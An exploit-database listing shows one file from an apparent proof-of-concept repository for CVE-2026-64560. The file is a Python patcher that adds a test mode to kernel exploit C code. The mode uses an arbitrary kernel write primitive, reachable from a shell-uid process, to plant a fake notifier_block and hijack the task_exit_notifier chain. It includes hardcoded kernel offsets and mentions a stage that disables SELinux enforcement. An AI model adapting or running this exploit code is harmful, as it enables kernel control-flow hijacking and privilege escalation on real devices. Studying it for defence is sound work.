Exploit database

GH-00a2781aa7745a1ae991553a9e9498d6

000999888111/op13-cve-2026-64560

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

18 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files29
000999888111/op13-cve-2026-64560Revision 88513e448e7a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/patch_notifier_bridge_test.py

Python · 5,836 bytes
#!/usr/bin/env python3
"""Adds ``--notifier-bridge-test``: prove the notifier-chain hijack mechanism.

The race's own write can only land where the spray lets it, which makes the
notifier route hard to validate directly (a landing is indistinguishable from a
miss). This mode sidesteps that: it runs the ordinary flow as far as the misc
bridge (available to a shell-uid process), then uses the bridge's arbitrary
*write* -- the same primitive STAGE8 uses to clear SELinux enforcing -- to

  1. place a fake ``struct notifier_block { dump_stack, NULL }`` at a free offset
     inside the already controlled page (``page.base`` is known),
  2. point ``task_exit_notifier.head`` at it,
  3. fork/exit a handful of children so the kernel walks that chain,
  4. disarm (head = NULL) and let the normal cleanup run.

A ``dump_stack`` trace naming ``atomic_notifier_call_chain`` / ``profile_task_exit``
/ ``do_exit`` in dmesg is the proof; ``next = NULL`` is what terminates the walk
(notifier_call_chain() captures nb->next before calling).

Offsets are image offsets, the slide is added at runtime:
    task_exit_notifier         0xffffffc0821ed6a8   (head at +8)
    dump_stack                 0xffffffc08106cd98

Usage: patch_notifier_bridge_test.py <source.c>
"""

import pathlib
import sys

HELPERS = r'''
/* ---------------------------------------------------------------------------
 * notifier-bridge-test (see tools/patch_notifier_bridge_test.py).
 * Uses the bridge's own virtual-address write to arm a one-element
 * task_exit_notifier chain pointing at a fake block in the controlled page.
 * ------------------------------------------------------------------------- */

#define NOTIFIER_TEST_TASK_EXIT_NOTIFIER UINT64_C(0xffffffc0821ed6a8) /* +0x21ed6a8 */
#define NOTIFIER_TEST_DUMP_STACK UINT64_C(0xffffffc08106cd98)         /* +0x106cd98 */
#define NOTIFIER_TEST_BLOCK_OFF UINT64_C(0x1F90)

static int notifier_bridge_test(int fd, uint64_t page_base) {
    const uint64_t head_addr = NOTIFIER_TEST_TASK_EXIT_NOTIFIER + kernel_slide + 8;
    const uint64_t block = page_base + NOTIFIER_TEST_BLOCK_OFF;
    const uint64_t callback = NOTIFIER_TEST_DUMP_STACK + kernel_slide;
    uint64_t readback = 0;

    printf("NOTIFIER_BRIDGE_TEST_BEGIN fd=%d page=%#llx head=%#llx block=%#llx callback=%#llx\n",
           fd, (unsigned long long)page_base, (unsigned long long)head_addr,
           (unsigned long long)block, (unsigned long long)callback);
    if (bridge_write64(fd, block, callback) || bridge_write64(fd, block + 8, 0)) {
        printf("NOTIFIER_BRIDGE_TEST_FAIL stage=write_block errno=%d\n", errno);
        return 1;
    }
    if (bridge_read64(fd, block, &readback) || readback != callback) {
        printf("NOTIFIER_BRIDGE_TEST_FAIL stage=read_block observed=%#llx errno=%d\n",
               (unsigned long long)readback, errno);
        return 1;
    }
    if (bridge_write64(fd, head_addr, block)) {
        printf("NOTIFIER_BRIDGE_TEST_FAIL stage=write_head errno=%d\n", errno);
        return 1;
    }
    if (bridge_read64(fd, head_addr, &readback) || readback != block) {
        printf("NOTIFIER_BRIDGE_TEST_FAIL stage=read_head observed=%#llx errno=%d\n",
               (unsigned long long)readback, errno);
        return 1;
    }
    printf("NOTIFIER_BRIDGE_TEST_ARMED head=%#llx -> %#llx\n", (unsigned long long)head_addr,
           (unsigned long long)readback);
    fflush(stdout);

    for (int i = 0; i < 8; i++) {
        pid_t child = fork();

        if (child == 0)
            _exit(0);
        if (child > 0)
            waitpid(child, NULL, 0);
    }
    printf("NOTIFIER_BRIDGE_TEST_TRIGGERED exits=8\n");
    fflush(stdout);
    if (bridge_write64(fd, head_addr, 0)) {
        printf("NOTIFIER_BRIDGE_TEST_FAIL stage=disarm errno=%d\n", errno);
        return 1;
    }
    printf("NOTIFIER_BRIDGE_TEST_DISARMED head=%#llx\n", (unsigned long long)head_addr);
    return 0;
}

'''

HOOK = '''            printf("MISC_BRIDGE_RW_PASS fd=%d observed=%#llx "
                   "scratch=%#llx marker=%#llx\\n",
                   bridge_fd, (unsigned long long)observed, (unsigned long long)scratch,
                   (unsigned long long)after);
            if (!strcmp(mode_argument, "--notifier-bridge-test")) {
                status = notifier_bridge_test(bridge_fd, page.base);
                goto bridge_cleanup;
            }'''


def main() -> int:
    if len(sys.argv) != 2:
        print(__doc__.strip().splitlines()[-1], file=sys.stderr)
        return 2
    path = pathlib.Path(sys.argv[1])
    text = path.read_text()

    if "notifier_bridge_test" in text:
        print("already patched")
        return 0

    old_modes = 'if (strcmp(mode, "--preflight") && strcmp(mode, "--run")) {'
    new_modes = ('if (strcmp(mode, "--preflight") && strcmp(mode, "--run") &&\n'
                 '            strcmp(mode, "--notifier-bridge-test")) {')
    if text.count(old_modes) != 1:
        print("mode validation site not found", file=sys.stderr)
        return 1
    text = text.replace(old_modes, new_modes)

    anchor = "int main(int argc, char **argv) {"
    if text.count(anchor) != 1:
        print("main() not found", file=sys.stderr)
        return 1
    text = text.replace(anchor, HELPERS + anchor)

    old_hook = '''            printf("MISC_BRIDGE_RW_PASS fd=%d observed=%#llx "
                   "scratch=%#llx marker=%#llx\\n",
                   bridge_fd, (unsigned long long)observed, (unsigned long long)scratch,
                   (unsigned long long)after);'''
    if text.count(old_hook) != 1:
        print("bridge RW site not found", file=sys.stderr)
        return 1
    text = text.replace(old_hook, HOOK)

    path.write_text(text)
    print(f"PATCHED {path} (notifier-bridge-test)")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())